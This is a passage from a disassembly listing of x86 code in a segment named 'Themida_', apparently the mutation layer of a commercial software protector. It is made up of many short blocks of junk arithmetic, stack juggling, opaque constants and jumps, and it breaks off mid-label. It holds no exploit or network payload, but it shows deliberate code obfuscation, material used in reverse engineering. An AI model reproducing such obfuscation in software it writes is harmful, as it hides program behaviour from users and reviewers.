		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6F4F4F2Ah
		sub	esi, edi
		pop	edi
		jmp	loc_5ABCA3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A640D
; ---------------------------------------------------------------------------


loc_5A9253:				; CODE XREF: Themida_:005AE223j
		push	1768h
		mov	[esp], ecx
		jmp	loc_59A035
; ---------------------------------------------------------------------------


loc_5A9260:				; CODE XREF: Themida_:0059EB10j
		pop	esi
		dec	edx
		shl	edx, 5
		xor	edx, 4A92FD0h
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		pop	ecx
		jmp	loc_5A3268
; ---------------------------------------------------------------------------


loc_5A9276:				; CODE XREF: Themida_:0059ADA2j
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59F843
; ---------------------------------------------------------------------------


loc_5A9290:				; CODE XREF: Themida_:0059AB5Aj
		add	esp, 2
		push	1418h
		jmp	loc_5A28CA
; ---------------------------------------------------------------------------


loc_5A929D:				; CODE XREF: Themida_:loc_5992ABj
		push	ebx
		jmp	loc_5A2900
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 2B464BCBh
		xor	edx, 37F451A2h
		shr	edx, 7
		xor	edx, 2E1A14ECh
		neg	edx
		jmp	loc_59AB5F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5993BE
; ---------------------------------------------------------------------------


loc_5A92CC:				; CODE XREF: Themida_:005988DEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	2E84692Ch
		pop	eax
		and	eax, 2BB25426h
		jnp	loc_5AD007
		push	edx
		mov	edx, 7C362328h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59F06D
; ---------------------------------------------------------------------------


loc_5A9305:				; CODE XREF: Themida_:0059ED63j
		add	esi, eax
		push	edi
		jmp	loc_5AACC0
; ---------------------------------------------------------------------------


loc_5A930D:				; CODE XREF: Themida_:005AA0A7j
		pop	esp
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		jmp	loc_59B414
; ---------------------------------------------------------------------------


loc_5A9325:				; CODE XREF: Themida_:0059FE47j
		add	esp, 4
		xor	edi, ebp
		pop	ebp
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_59867A
; ---------------------------------------------------------------------------


loc_5A9338:				; CODE XREF: Themida_:005A982Bj
		mov	ebx, 1D17710Eh
		xor	ebx, 1D17710Ch
		add	ecx, 61022087h
		jmp	loc_5AA9A5
; ---------------------------------------------------------------------------


loc_5A934E:				; CODE XREF: Themida_:005AB0A4j
		mov	ebx, ecx
		jmp	loc_59F1CB
; ---------------------------------------------------------------------------


loc_5A9355:				; CODE XREF: Themida_:0059B813j
		add	esi, 0DF8AB5EDh
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------


loc_5A9360:				; CODE XREF: Themida_:005ABEAEj
		sub	esi, edi
		pop	edi
		jmp	loc_5AD359
; ---------------------------------------------------------------------------


loc_5A9368:				; CODE XREF: Themida_:0059EF4Aj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	bl, 34h
		push	ecx
		jmp	loc_5ABAA8
; ---------------------------------------------------------------------------


loc_5A937A:				; CODE XREF: Themida_:005ABBA7j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A937F:				; CODE XREF: Themida_:0059ED20j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5A15C1
; ---------------------------------------------------------------------------


loc_5A938C:				; CODE XREF: Themida_:0059A132j
		inc	ch
		jmp	loc_59CDC4
; ---------------------------------------------------------------------------


loc_5A9393:				; CODE XREF: Themida_:005A8DFAj
		mov	edi, 212130E1h
		jmp	loc_5AA203
; ---------------------------------------------------------------------------


loc_5A939D:				; CODE XREF: Themida_:00599A73j
		and	ebx, 6CD561D4h
		xor	ebx, 4F4729C6h
		push	ebp
		push	ebx
		mov	ebx, 0DF47FAD8h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_5A7A44
; ---------------------------------------------------------------------------


loc_5A93C2:				; CODE XREF: Themida_:0059F7AEj
		mov	edi, 2794C08h
		add	[esp+4], edi
		pop	edi
		pop	esi
		sub	esi, 2794C08h
		pop	eax
		sub	edx, esi
		jmp	loc_59B4F0
; ---------------------------------------------------------------------------


loc_5A93DB:				; CODE XREF: Themida_:0059AE17j
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 97h
		mov	dh, 25h
		xor	dh, ah
		pop	eax
		shl	dh, 3
		add	dh, 92h
		jmp	loc_5A3B1A
; ---------------------------------------------------------------------------


loc_5A93F7:				; CODE XREF: Themida_:loc_5AC5D2j
		xor	al, 25h
		jmp	loc_5A74E0
; ---------------------------------------------------------------------------


loc_5A93FE:				; CODE XREF: Themida_:005A37F3j
		sub	bl, 0Ch
		sub	dh, bl
		jmp	loc_5A0B95
; ---------------------------------------------------------------------------


loc_5A9408:				; CODE XREF: Themida_:005A4C08j
		push	426Eh
		mov	[esp], ebp
		push	4E6h
		push	esp
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_5AEEDF
; ---------------------------------------------------------------------------


loc_5A941F:				; CODE XREF: Themida_:0059E8A2j
		push	dword ptr [esp]
		jmp	loc_59BBE5
; ---------------------------------------------------------------------------


loc_5A9427:				; CODE XREF: Themida_:loc_59DFEBj
		jmp	loc_5A020D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A7C68
; ---------------------------------------------------------------------------


loc_5A9435:				; CODE XREF: Themida_:005ABB32j
		pop	esi
		jmp	loc_5AD3B4
; ---------------------------------------------------------------------------


loc_5A943B:				; CODE XREF: Themida_:005A7959j
		push	esp
		pop	esi
		push	eax
		jmp	loc_5ACA14
; ---------------------------------------------------------------------------


loc_5A9443:				; CODE XREF: Themida_:005A2214j
		mov	edx, 31BF749Bh
		add	edx, 0BCB58B8h
		jmp	loc_59E799
; ---------------------------------------------------------------------------


loc_5A9453:				; CODE XREF: Themida_:005A2B55j
					; Themida_:005AC720j
		neg	ecx
		xor	ecx, 4AC4F544h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AC904
; ---------------------------------------------------------------------------


loc_5A946B:				; CODE XREF: Themida_:0059B5C8j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5A0433
; ---------------------------------------------------------------------------


loc_5A9479:				; CODE XREF: Themida_:005A6CA8j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	ebp, ecx
		jmp	loc_59B25D
; ---------------------------------------------------------------------------


loc_5A948C:				; CODE XREF: Themida_:0059964Aj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	2414h
		mov	[esp], eax
		jmp	loc_59A744
; ---------------------------------------------------------------------------


loc_5A94AE:				; CODE XREF: Themida_:0059DB7Ej
		mov	bh, 40h
		sub	ch, 0D8h
		add	ch, bh
		add	ch, 0D8h
		jmp	loc_5A8E1F
; ---------------------------------------------------------------------------


loc_5A94BD:				; CODE XREF: Themida_:0059B2FDj
		push	eax
		mov	eax, esp
		push	78C2h
		mov	[esp], ebp
		push	ebx
		push	12DF1128h
		pop	ebx
		sub	ebx, 6DAA7884h
		jo	loc_59A6A7
		sub	ebx, 0FFFFFFFFh
		and	ebx, 78003E9h
		push	esi
		mov	esi, 6860945h
		add	esi, 1A5B5A08h
		jmp	loc_5A5802
; ---------------------------------------------------------------------------


loc_5A94F5:				; CODE XREF: Themida_:005A3C81j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	7002h
		mov	[esp], edi
		jmp	loc_5AD98A
; ---------------------------------------------------------------------------


loc_5A950D:				; CODE XREF: Themida_:005AF04Cj
		or	dl, al
		pop	eax
		not	dl
		sub	dl, 0E7h
		jmp	loc_5A682F
; ---------------------------------------------------------------------------


loc_5A951A:				; CODE XREF: Themida_:loc_5988A9j
					; Themida_:005A9AF3j
		sub	ecx, 6B34794Ah
		jl	loc_59BA2D
		jmp	loc_5A9B5C
; ---------------------------------------------------------------------------
		add	esi, 32D12A09h


loc_5A9531:				; CODE XREF: Themida_:005AD396j
		xor	ebx, 983FE4C1h
		jmp	loc_59F642
; ---------------------------------------------------------------------------


loc_5A953C:				; CODE XREF: Themida_:005A1D9Dj
					; Themida_:005A3E72j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5AC694
; ---------------------------------------------------------------------------


loc_5A9547:				; CODE XREF: Themida_:005A511Bj
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		or	[edi+1Ch], ebp
		jmp	loc_5A1D80
; ---------------------------------------------------------------------------


loc_5A9557:				; CODE XREF: Themida_:005AE392j
		sub	bl, dl
		pop	edx
		add	bl, cl
		add	bl, 56h
		pop	cx
		movzx	eax, al
		push	small 685Dh
		jmp	loc_59C7A9
; ---------------------------------------------------------------------------


loc_5A956D:				; CODE XREF: Themida_:005987E1j
		mov	esi, 0F6FCBC30h
		jmp	loc_5A557A
; ---------------------------------------------------------------------------


loc_5A9577:				; CODE XREF: Themida_:00599A4Dj
		and	ecx, 328C1ADDh
		push	4E85h
		mov	[esp], ebx
		mov	ebx, 567241EFh
		not	ebx
		push	edi
		mov	edi, 0
		sub	edi, ebx
		xchg	edi, ebx
		pop	edi
		xor	ebx, 8C5384Ch
		dec	ebx
		push	eax
		mov	eax, 779A3EE5h
		dec	eax
		and	eax, 2832730h
		sub	eax, 0EF082496h
		xor	ebx, eax
		pop	eax
		add	ebx, 0CDD4FE3Bh
		jmp	loc_5A7F68
; ---------------------------------------------------------------------------


loc_5A95BD:				; CODE XREF: Themida_:00598C14j
					; Themida_:0059A215j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	195Bh
		mov	[esp], esi
		mov	esi, 770B6A76h
		and	esi, 5C6E6834h
		jnb	loc_5A2361
		shr	esi, 2
		jnz	loc_5A241A
		jmp	loc_5A22F3
; ---------------------------------------------------------------------------


loc_5A95EB:				; CODE XREF: Themida_:005A06EBj
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_5A00F9
; ---------------------------------------------------------------------------


loc_5A95F8:				; CODE XREF: Themida_:005A70F0j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59EC5E
; ---------------------------------------------------------------------------


loc_5A9606:				; CODE XREF: Themida_:005AEB38j
		pop	edx
		pop	ebx
		jmp	loc_5A35C7
; ---------------------------------------------------------------------------


loc_5A960D:				; CODE XREF: Themida_:005A978Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		push	7B1Ch
		mov	[esp], ecx
		push	4
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A8DDE
; ---------------------------------------------------------------------------


loc_5A962F:				; CODE XREF: Themida_:005A8D33j
		neg	ecx
		jmp	loc_59B666
; ---------------------------------------------------------------------------


loc_5A9636:				; CODE XREF: Themida_:005AD5AEj
		push	ecx
		jmp	loc_5A23AE
; ---------------------------------------------------------------------------


loc_5A963C:				; CODE XREF: Themida_:0059B0BEj
		neg	eax
		push	ecx
		push	660947C7h
		pop	ecx
		xor	ecx, 1DA5165Ah
		sub	eax, ecx
		jmp	loc_5AA9EF
; ---------------------------------------------------------------------------


loc_5A9652:				; CODE XREF: Themida_:005A51DDj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_59F9DA
; ---------------------------------------------------------------------------


loc_5A965C:				; CODE XREF: Themida_:005AD35Cj
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AEE7B
; ---------------------------------------------------------------------------


loc_5A9665:				; CODE XREF: Themida_:0059F535j
		sub	edx, 4
		jmp	loc_59BC81
; ---------------------------------------------------------------------------


loc_5A966D:				; CODE XREF: Themida_:loc_5A7D10j
		or	eax, 7CC95B89h
		or	eax, 280E65E8h
		jno	loc_59D2C8
		jmp	loc_5A2B2D
; ---------------------------------------------------------------------------
		and	dl, 0A8h
		sub	dl, 0D6h
		shr	dl, 7
		push	eax


loc_5A968C:				; CODE XREF: Themida_:005A60A1j
		not	ebp
		or	ebp, 62802628h
		shr	ebp, 3
		and	ebp, 647D64C3h
		xor	ebp, 76F534Ch
		xor	ebp, 33E378Bh
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	loc_5A2EFC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	3CDh
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_59E2E5
; ---------------------------------------------------------------------------


loc_5A96CF:				; CODE XREF: Themida_:005A766Dj
		push	ebp
		jmp	loc_5A4F66
; ---------------------------------------------------------------------------


loc_5A96D5:				; CODE XREF: Themida_:005A8332j
		jmp	loc_5A6952
; ---------------------------------------------------------------------------


loc_5A96DA:				; CODE XREF: Themida_:00599962j
		sub	ecx, 39502BACh
		add	ecx, 5CF5573Dh
		sub	ecx, edi
		sub	ecx, 5CF5573Dh
		push	eax
		mov	eax, 39502BACh
		add	ecx, eax
		pop	eax
		jmp	loc_59859C
; ---------------------------------------------------------------------------


loc_5A96FC:				; CODE XREF: Themida_:loc_5A7CEEj
		jmp	loc_59F431
; ---------------------------------------------------------------------------


loc_5A9701:				; CODE XREF: Themida_:005A5248j
					; Themida_:005A64FCj
		add	esp, 4
		jmp	loc_5A9E16
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, 74635EA0h
		push	ecx
		mov	ecx, 0EA42AB36h
		add	edi, ecx
		pop	ecx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		dec	eax
		jnp	loc_5AEE59
		add	eax, 475D42F3h
		jnp	loc_5ADB64


loc_5A973A:				; CODE XREF: Themida_:0059906Fj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AF1CD
; ---------------------------------------------------------------------------


loc_5A974E:				; CODE XREF: Themida_:005A6AA1j
		add	esp, 4
		push	8C8h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A3E88
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_598523
; ---------------------------------------------------------------------------


loc_5A9774:				; CODE XREF: Themida_:0059E4C8j
		pop	esp
		jmp	loc_5AA44D
; ---------------------------------------------------------------------------


loc_5A977A:				; CODE XREF: Themida_:005A6AA7j
		add	eax, 4
		push	edi
		mov	edi, 4B753C95h
		sub	edi, 4B753C91h
		add	eax, edi
		pop	edi
		jmp	loc_5A960D
; ---------------------------------------------------------------------------


loc_5A9793:				; CODE XREF: Themida_:005A0D81j
		push	eax
		mov	eax, 228A2F9Bh
		not	eax
		jmp	loc_5AEEEA
; ---------------------------------------------------------------------------


loc_5A97A0:				; CODE XREF: Themida_:0059B389j
		jmp	loc_5ABF6F
; ---------------------------------------------------------------------------


loc_5A97A5:				; CODE XREF: Themida_:005A4415j
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5AD760
; ---------------------------------------------------------------------------


loc_5A97B0:				; CODE XREF: Themida_:005ACAEEj
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	5677h
		mov	[esp], edx
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A7AA3
; ---------------------------------------------------------------------------


loc_5A97F8:				; CODE XREF: Themida_:005AC3DFj
		neg	edi
		jns	loc_59CED9
		jmp	loc_5A1FCD
; ---------------------------------------------------------------------------


loc_5A9805:				; CODE XREF: Themida_:00598607j
					; Themida_:0059AC41j ...
		pop	ebx
		xor	ebx, 64116AE8h
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_59E67E
; ---------------------------------------------------------------------------


loc_5A981C:				; CODE XREF: Themida_:005AD168j
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ebx
		jmp	loc_5A9338
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1EC4h
		jmp	loc_5A5A67
; ---------------------------------------------------------------------------


loc_5A983E:				; CODE XREF: Themida_:005AB28Dj
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebp
		jmp	loc_5AD0B1
; ---------------------------------------------------------------------------


loc_5A984E:				; CODE XREF: Themida_:005A4A1Dj
		mov	ch, 40h
		xor	ch, ah
		jmp	loc_5A9F83
; ---------------------------------------------------------------------------


loc_5A9857:				; CODE XREF: Themida_:00599B1Ej
		push	0F7Ah
		mov	[esp], eax
		sub	esp, 4
		push	1C91h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	5AEEh
		jmp	loc_5A074D
; ---------------------------------------------------------------------------


loc_5A9884:				; CODE XREF: Themida_:005A2272j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A2950
; ---------------------------------------------------------------------------


loc_5A9894:				; CODE XREF: Themida_:005AEFA3j
		add	ebx, 399CFAF0h
		sub	eax, 147B3C8Eh
		sub	eax, ebx
		add	eax, 147B3C8Eh
		pop	ebx
		add	eax, 1E304C22h
		sub	eax, ebx
		sub	eax, 1E304C22h
		sub	esp, 4
		mov	[esp], ecx
		push	390C70E6h
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AA3D8
; ---------------------------------------------------------------------------


loc_5A98D2:				; CODE XREF: Themida_:0059B535j
		pop	ebx
		sub	ecx, 0FDEECF7Bh
		add	esi, ecx
		jmp	loc_5AA939
; ---------------------------------------------------------------------------


loc_5A98E0:				; CODE XREF: Themida_:005A7FFCj
		push	33EBh
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_59A693
; ---------------------------------------------------------------------------


loc_5A9900:				; CODE XREF: Themida_:005A28BFj
		pop	ebx
		add	edx, eax
		pop	eax
		jmp	loc_5A07BA
; ---------------------------------------------------------------------------


loc_5A9909:				; CODE XREF: Themida_:005A6262j
		dec	ebx
		jns	loc_5A7185
		jmp	loc_5A140C
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	bl, ch
		mov	al, 5


loc_5A991F:				; CODE XREF: Themida_:005A3D8Dj
					; Themida_:005A4010j
		mov	ecx, 72C81F85h
		shl	ecx, 4
		sub	ecx, 793070D3h
		shl	ecx, 4
		and	ecx, 632454CEh
		sub	ecx, 3351751h
		jmp	loc_5AB762
; ---------------------------------------------------------------------------


loc_5A9941:				; CODE XREF: Themida_:0059F16Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A563F
; ---------------------------------------------------------------------------


loc_5A994C:				; CODE XREF: Themida_:005AE130j
		add	ebx, 29B56404h
		sub	ebx, 16C63169h
		xor	eax, ebx
		pop	ebx
		add	eax, 97981A6Bh
		push	esi
		mov	esi, eax
		jmp	loc_59EF9D
; ---------------------------------------------------------------------------


loc_5A9968:				; CODE XREF: Themida_:005AD961j
		push	edi
		mov	edi, 124C0B93h
		neg	edi
		shr	edi, 6
		shl	edi, 7
		and	edi, 2DEF3674h
		shl	edi, 5
		sub	edi, 2C82C4F4h
		mov	ecx, edi
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		sub	edi, offset aEEEEEEEEEEEEEE ; "₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί"...
		sub	edi, 13DA2498h
		jmp	loc_5A1CB4
; ---------------------------------------------------------------------------


loc_5A99A3:				; CODE XREF: Themida_:005A02B4j
		js	loc_59A095
		xor	ebp, 18604524h
		jmp	loc_5A530A
; ---------------------------------------------------------------------------


loc_5A99B4:				; CODE XREF: Themida_:005A4CB8j
		add	esp, 4
		jmp	loc_5A2439
; ---------------------------------------------------------------------------


loc_5A99BC:				; CODE XREF: Themida_:0059A22Cj
		add	esi, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2EDA560Dh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 28C0A9Dh
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_59BCBD
; ---------------------------------------------------------------------------


loc_5A99EF:				; CODE XREF: Themida_:005A2CDEj
		mov	ebx, 4
		jmp	loc_5AB320
; ---------------------------------------------------------------------------


loc_5A99F9:				; CODE XREF: Themida_:005AC101j
		pop	dx
		shl	bl, 2
		sub	bl, 1Ah
		sub	bl, 95h
		sub	al, bl
		jmp	loc_5AD3FD
; ---------------------------------------------------------------------------


loc_5A9A0B:				; CODE XREF: Themida_:loc_59860Cj
		dec	ecx
		jl	loc_5AC7D8
		jmp	loc_59DC2B
; ---------------------------------------------------------------------------


loc_5A9A17:				; CODE XREF: Themida_:0059F737j
		add	esp, 4
		add	edx, 4157882h
		push	ecx
		mov	ecx, 0
		jmp	loc_5A691B
; ---------------------------------------------------------------------------


loc_5A9A2E:				; CODE XREF: Themida_:005A3244j
		push	esi
		mov	esi, 4F563E4Ch
		or	esi, 190283Fh
		jmp	loc_5A4D62
; ---------------------------------------------------------------------------


loc_5A9A3F:				; CODE XREF: Themida_:loc_5A1F7Aj
		xor	edx, 3F1A2417h
		jmp	loc_5A4856
; ---------------------------------------------------------------------------


loc_5A9A4A:				; CODE XREF: Themida_:005A8F85j
		pop	eax
		push	eax
		mov	eax, 22EA2149h
		add	ebx, eax
		pop	eax
		mov	edi, ebx
		pop	ebx
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		jmp	loc_5A6805
; ---------------------------------------------------------------------------


loc_5A9A6D:				; CODE XREF: Themida_:005AAD8Fj
		add	dword ptr [esp], 55E97D92h
		push	edi
		mov	edi, 5B67784Ah
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A9A89:				; CODE XREF: Themida_:005A52E5j
		mov	[esp], ebx
		jmp	loc_59E507
; ---------------------------------------------------------------------------


loc_5A9A91:				; CODE XREF: Themida_:005A4D5Dj
		pop	ecx
		add	bl, dh
		mov	edx, [esp]
		jmp	loc_59CF68
; ---------------------------------------------------------------------------


loc_5A9A9C:				; CODE XREF: Themida_:005A3780j
		mov	ecx, [esp]
		push	esi
		jmp	loc_5AC082
; ---------------------------------------------------------------------------


loc_5A9AA5:				; CODE XREF: Themida_:005A5347j
		xor	eax, 545066DCh
		and	eax, 2EC63A71h
		or	eax, 7336605Fh
		sub	eax, 7FF67A5Eh
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A8B2C
; ---------------------------------------------------------------------------


loc_5A9AC6:				; CODE XREF: Themida_:005A862Ej
		pop	eax
		push	esi
		mov	esi, 12FE6864h
		sub	esi, 12FE6860h
		sub	edi, esi
		jmp	loc_5AE682
; ---------------------------------------------------------------------------


loc_5A9ADA:				; CODE XREF: Themida_:0059B120j
		pop	ax
		sub	al, cl
		jmp	loc_5A91E3
; ---------------------------------------------------------------------------


loc_5A9AE3:				; CODE XREF: Themida_:0059BFB1j
		mov	[esp], ecx
		jmp	loc_5A233B
; ---------------------------------------------------------------------------


loc_5A9AEB:				; CODE XREF: Themida_:005A3CDAj
		xor	ebx, edi
		jmp	loc_5AABB3
; ---------------------------------------------------------------------------


loc_5A9AF2:				; CODE XREF: Themida_:0059F88Aj
		push	edi
		jmp	loc_5A951A
; ---------------------------------------------------------------------------


loc_5A9AF8:				; CODE XREF: Themida_:0059F327j
		add	esi, 4
		jmp	loc_598DBA
; ---------------------------------------------------------------------------


loc_5A9B00:				; CODE XREF: Themida_:0059F72Dj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AE274
; ---------------------------------------------------------------------------


loc_5A9B0F:				; CODE XREF: Themida_:0059959Aj
					; Themida_:005AEF6Cj
		push	eax
		push	edx
		mov	edx, 0B8353DCh
		mov	eax, 7F1A0FFBh
		xor	eax, edx
		pop	edx
		or	eax, 766301F4h
		shr	eax, 7
		jmp	loc_5A63D4
; ---------------------------------------------------------------------------


loc_5A9B2B:				; CODE XREF: Themida_:005AA586j
		push	eax
		mov	eax, 0CEB7AB35h
		xor	ebp, eax
		pop	eax
		mov	edx, ebp
		jmp	loc_5AAF49
; ---------------------------------------------------------------------------


loc_5A9B3B:				; CODE XREF: Themida_:005AE0C0j
		pop	esp
		xor	eax, [esp]
		jmp	loc_59E55E
; ---------------------------------------------------------------------------


loc_5A9B44:				; CODE XREF: Themida_:0059A620j
		add	edx, 50A45E34h
		or	edx, 0B57122Ah
		jmp	loc_5AA31A
; ---------------------------------------------------------------------------


loc_5A9B55:				; CODE XREF: Themida_:0059B61Ej
					; Themida_:005AC886j
		sub	edx, eax
		jmp	loc_59D110
; ---------------------------------------------------------------------------


loc_5A9B5C:				; CODE XREF: Themida_:005A8594j
					; Themida_:005A9526j
		add	ebp, edx
		sub	ebp, 69C5CEDh
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_5A6DC0
; ---------------------------------------------------------------------------


loc_5A9B74:				; CODE XREF: Themida_:0059CEC7j
		mov	[esp], edx
		mov	edx, 1000000h
		and	eax, edx
		jmp	loc_5ACBB8
; ---------------------------------------------------------------------------


loc_5A9B83:				; CODE XREF: Themida_:0059C17Cj
		push	edx
		mov	edx, esp
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A004A
; ---------------------------------------------------------------------------


loc_5A9B95:				; CODE XREF: Themida_:0059E753j
		jbe	loc_5A6916
		jmp	loc_5ACF9B
; ---------------------------------------------------------------------------
		add	ecx, edx
		add	dword ptr [ecx], 1


loc_5A9BA8:				; CODE XREF: Themida_:00599A42j
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5A8019
; ---------------------------------------------------------------------------


loc_5A9BB5:				; CODE XREF: Themida_:0059C10Bj
		pop	esp
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	0F5Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AE0C5
; ---------------------------------------------------------------------------


loc_5A9BD3:				; CODE XREF: Themida_:005A84BBj
		mov	esi, 18CB260Ah
		jmp	loc_59E3DA
; ---------------------------------------------------------------------------


loc_5A9BDD:				; CODE XREF: Themida_:0059881Dj
		neg	edi
		js	loc_5A561C
		sub	edi, 7C74A3EFh
		mov	ecx, edi
		pop	edi
		jmp	loc_5A613F
; ---------------------------------------------------------------------------
		push	eax


loc_5A9BF4:				; CODE XREF: Themida_:005A1F55j
					; Themida_:005AA4A5j
		push	eax
		mov	al, 62h
		sub	al, 3Dh
		mov	bl, al
		jmp	loc_5AD32D
; ---------------------------------------------------------------------------


loc_5A9C00:				; CODE XREF: Themida_:005A7745j
		not	esi
		sub	esi, 0CED3CACEh
		jmp	loc_59F8AA
; ---------------------------------------------------------------------------


loc_5A9C0D:				; CODE XREF: Themida_:005ACD8Bj
		mov	edx, 27295BF2h
		inc	edx
		jns	loc_59BFE2
		and	edx, 2EA45897h
		jb	loc_5A4413
		shr	edx, 8


loc_5A9C28:				; CODE XREF: Themida_:005A4C7Dj
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	[esp+4], ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A44C1
; ---------------------------------------------------------------------------


loc_5A9C4C:				; CODE XREF: Themida_:0059E132j
		mov	[esp], ecx
		mov	ecx, 6896846h
		push	esi
		jmp	loc_5A2591
; ---------------------------------------------------------------------------


loc_5A9C5A:				; CODE XREF: Themida_:005AED07j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		inc	edx
		push	ecx
		jmp	loc_5A7F04
; ---------------------------------------------------------------------------


loc_5A9C6D:				; CODE XREF: Themida_:005ACBD0j
		mov	ebx, 40F80646h
		xor	ebx, edx
		jmp	loc_59A73E
; ---------------------------------------------------------------------------


loc_5A9C79:				; CODE XREF: Themida_:005ACE94j
		push	esp
		mov	edx, [esp]
		jmp	loc_5A486B
; ---------------------------------------------------------------------------


loc_5A9C82:				; CODE XREF: Themida_:005A9D92j
		pop	eax
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5AB599
; ---------------------------------------------------------------------------


loc_5A9C90:				; CODE XREF: Themida_:005A18B6j
